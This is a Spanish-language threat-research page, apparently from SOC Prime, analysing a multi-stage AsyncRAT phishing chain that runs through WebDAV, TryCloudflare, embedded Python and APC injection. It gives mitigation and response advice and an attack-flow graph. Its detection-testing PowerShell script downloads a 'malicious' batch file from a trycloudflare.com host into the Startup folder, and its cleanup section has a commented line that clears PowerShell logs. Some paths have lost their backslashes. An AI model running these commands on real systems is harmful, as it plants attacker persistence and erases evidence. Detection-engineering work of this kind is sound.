SOC Prime Bias: Crítico

14 Ene 2026 18:04

Cómo MDR Descubrió una Cadena de Ataque Multi-Etapa de AsyncRAT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Cómo MDR Descubrió una Cadena de Ataque Multi-Etapa de AsyncRAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El informe describe una cadena de intrusión de múltiples etapas iniciada a través de correos electrónicos de phishing que entregan señuelos ZIP con doble extensión y se transforman en una secuencia de payload alojada en WebDAV. Los operadores abusan de la infraestructura gratuita de Cloudflare y de componentes de Python empaquetados para desplegar AsyncRAT en los endpoints de las víctimas. La ejecución y persistencia dependen de herramientas nativas de Windows—Windows Script Host, PowerShell y scripts por lotes—mientras que la etapa final utiliza la inyección de código en explorer.exe. Al encauzar la entrega y el montaje a través de servicios en la nube ampliamente confiables, la actividad se mezcla con el tráfico normal y puede eludir los controles perimetrales convencionales.

Investigación

Los investigadores de Trend Micro informaron sobre telemetría consistente con un flujo de entrega en etapas: recuperación de un archivo .pdf.zip desde Dropbox, ejecución de accesos directos .url integrados y posterior interacción con WebDAV atribuida a svchost.exe y rundll32.exe. La cadena luego desplegó archivos embebidos de Python 3.14.0, que se utilizaron para ejecutar un script de Python personalizado responsable de la inyección APC del shellcode de AsyncRAT. La persistencia se logró colocando archivos por lotes en el directorio de Inicio del usuario. Los analistas también identificaron y correlacionaron múltiples anfitriones TryCloudflare que respaldan la infraestructura.

Mitigación

Reduzca la exposición entrenando a los usuarios para tratar los archivos adjuntos de doble extensión y los archivos ZIP inesperados como sospechosos y endureciendo el filtrado de enlaces en la nube entregados por phishing. Bloquee o controle estrictamente el acceso a servicios de túneles en la nube no sancionados y monitoree una dependencia anormal en WebDAV en entornos donde es poco común. Restrinja la ejecución de scripts desde directorios modificables por el usuario, y refuerce los controles en torno al uso de la carpeta de Inicio y la creación de tareas programadas. Priorice las detecciones EDR/behaviorales que puedan identificar cadenas de ejecución impulsadas por scripts y técnicas de inyección de código dirigidas a procesos benignos.

Respuesta

Si se detecta actividad, aísle el endpoint y detenga los procesos sospechosos asociados con la cadena (particularmente svchost.exe, rundll32.exe y python.exe cuando estén vinculados al incidente). Elimine la persistencia eliminando artefactos maliciosos por lotes del directorio de Inicio, erradique los archivos de Python descargados y cualquier componente de AsyncRAT, y realice un barrido forense completo para detectar archivos de montaje adicionales y movimientos laterales. Actualice los controles de red y las listas de bloqueo para incluir los dominios de TryCloudflare identificados y cualquier infraestructura asociada observada durante el triaje.

«graph TB %% Definiciones de clase classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodos attack_phishing[«<b>Acción</b> – <b>T1566.001 Spearphishing Attachment</b>: La víctima recibe un correo electrónico de phishing con un archivo adjunto de doble extensión .pdf.url que enlaza a un archivo de Dropbox.»] class attack_phishing action file_shortcut[«<b>Archivo</b> – <b>.url atajo</b>: Se hace pasar por una factura PDF y apunta al archivo malicioso de Dropbox.»] class file_shortcut file action_user_exec[«<b>Acción</b> – <b>T1204.002 Ejecución por el Usuario</b>: El usuario abre el atajo, desencadenando la descarga inicial.»] class action_user_exec action file_archive[«<b>Archivo</b> – <b>archivo de Dropbox</b>: Aparece como una factura PDF, contiene las cargas útiles de la siguiente etapa.»] class file_archive file action_masquerade[«<b>Acción</b> – <b>T1036.008 Suplantación</b>: El archivo y el atajo imitan archivos PDF legítimos para evitar sospechas.»] class action_masquerade action tool_wsh[«<b>Herramienta</b> – <b>Windows Script Host</b>: Se ejecutan archivos .wsh/.wsf para recuperar más scripts.»] class tool_wsh tool action_script_proxy[«<b>Acción</b> – <b>T1216 Ejecución de Proxis de Scripts del Sistema</b>: Ejecuta archivos WSH como proxy para la descarga de scripts.»] class action_script_proxy action tool_rundll32[«<b>Herramienta</b> – <b>rundll32.exe</b>: Invoca davclnt.dll (DavSetCookie) para comunicarse con un servidor WebDAV.»] class tool_rundll32 tool action_rundll32[«<b>Acción</b> – <b>T1218.011 Rundll32</b>: Usa rundll32 para comunicarse con un servidor WebDAV alojado en Cloudflare.»] class action_rundll32 action tool_powershell[«<b>Herramienta</b> – <b>PowerShell</b>: Descarga el zip embed de Python 3.14, lo extrae y obtiene archivos batch adicionales.»] class tool_powershell tool action_powershell[«<b>Acción</b> – <b>T1059.001 PowerShell</b>: Ejecuta comandos de PowerShell para la descarga y extracción.»] class action_powershell action action_hide[«<b>Acción</b> – <b>T1564.001 Ocultar Artefactos</b>: Almacena cargas útiles en archivos ocultos dentro del directorio Temp del usuario.»] class action_hide action file_hidden[«<b>Archivo</b> – <b>Archivos Temp Ocultos</b>: ne.py, new.bin, a.txt colocados en %TEMP% y marcados como ocultos.»] class file_hidden file action_persistence[«<b>Acción</b> – <b>T1037.001 Script de Inicio de Sesión</b>: Coloca archivos batch en la carpeta de Inicio para persistencia.»] class action_persistence action file_startup[«<b>Archivo</b> – <b>Archivos batch de Inicio</b>: ahke.bat y olsm.bat ubicados en el directorio de Inicio del usuario.»] class file_startup file action_ingress[«<b>Acción</b> – <b>T1105 Transferencia de Herramientas de Ingreso</b>: Transfiere componentes maliciosos adicionales desde el servidor WebDAV.»] class action_ingress action action_cloudapi[«<b>Acción</b> – <b>T1059.009 API de la Nube</b>: Envía solicitudes HTTP/HTTPS a dominios de trycloudflare.com para recuperar cargas finales.»] class action_cloudapi action action_injection[«<b>Acción</b> – <b>T1055.004 Inyección de Procesos</b>: El script de Python ne.py inyecta código shell AsyncRAT en explorer.exe a través de la inyección APC.»] class action_injection action process_explorer[«<b>Proceso</b> – <b>explorer.exe</b>: Proceso objetivo para la inyección de código shell APC.»] class process_explorer process malware_asyncrat[«<b>Malware</b> – <b>AsyncRAT</b>: El código shell inyectado establece una herramienta de acceso remoto.»] class malware_asyncrat malware action_c2[«<b>Acción</b> – <b>T1102.002 Servicio Web</b>: AsyncRAT se comunica bidireccionalmente a través de HTTPS con la infraestructura de Cloudflare.»] class action_c2 action %% Conexiones attack_phishing u002du002d>|entrega| file_shortcut file_shortcut u002du002d>|abierto por la víctima desencadena| action_user_exec action_user_exec u002du002d>|descargas| file_archive file_archive u002du002d>|usado en| action_masquerade action_masquerade u002du002d>|habilita la ejecución de| tool_wsh tool_wsh u002du002d>|se ejecuta como parte de| action_script_proxy action_script_proxy u002du002d>|llama a| tool_rundll32 tool_rundll32 u002du002d>|invoca a| action_rundll32 action_rundll32 u002du002d>|prepara el entorno para| tool_powershell tool_powershell u002du002d>|ejecuta| action_powershell action_powershell u002du002d>|almacena archivos en| action_hide action_hide u002du002d>|crea| file_hidden file_hidden u002du002d>|usado por| action_persistence action_persistence u002du002d>|coloca| file_startup file_startup u002du002d>|desencadena| action_ingress action_ingress u002du002d>|obtiene más componentes a través de| action_cloudapi action_cloudapi u002du002d>|entrega carga útil a| action_injection action_injection u002du002d>|inyecta en| process_explorer process_explorer u002du002d>|hospeda| malware_asyncrat malware_asyncrat u002du002d>|se comunica a través de| action_c2 «

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Comprobación de Pre‑vuelo de Telemetría y Línea Base debe haberse aprobado.

  • Narrativa de Ataque y Comandos

    Un adversario que ha logrado acceso inicial a PowerShell en un host de Windows comprometido quiere configurar un entorno de ejecución de Python y lograr la persistencia. Ellos:

    1. Descargan la distribución embebida de Python directamente al directorio Temp del usuario utilizando Invoke‑WebRequest.
    2. Descargan un script por lotes malicioso (ahke.bat) desde un dominio proxied por Cloudflare a la carpeta de Inicio del usuario para que se ejecute en cada inicio de sesión.
    3. Ejecutan el archivo zip de Python descargado (omitido aquí por brevedad) para ejecutar cargas útiles adicionales.

    Estos pasos producen exactamente las cadenas de comando que coinciden con la regla Sigma, generando registros de script‑block de PowerShell con el patrón iwr … -OutFile … .

  • Script de Prueba de Regresión

    # -------------------------------------------------
    # Simulación PowerShell de configuración de entorno de AsyncRAT
    # -------------------------------------------------
    
    # 1. Descargar zip embebido de Python a la carpeta temp del usuario
    $pythonUrl = 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip'
    $pythonDest = "$env:USERPROFILEAppDataLocalTempp.zip"
    iwr $pythonUrl -OutFile $pythonDest
    
    # 2. Descargar archivo por lotes malicioso al Inicio para persistencia
    $batUrl = 'https://plus-condos-thy-redeem.trycloudflare.com/ahke.bat'
    $batDest = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat"
    iwr $batUrl -OutFile $batDest
    
    # 3. (Opcional) Activar ejecución del lote para demostrar persistencia
    # Start-Process -FilePath $batDest -WindowStyle Hidden
    # -------------------------------------------------
  • Comandos de Limpieza

    # Eliminar los artefactos descargados
    Remove-Item -Path "$env:USERPROFILEAppDataLocalTempp.zip" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" -ErrorAction SilentlyContinue
    
    # Opcionalmente borrar registros de script block de PowerShell (requiere admin)
    # Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational"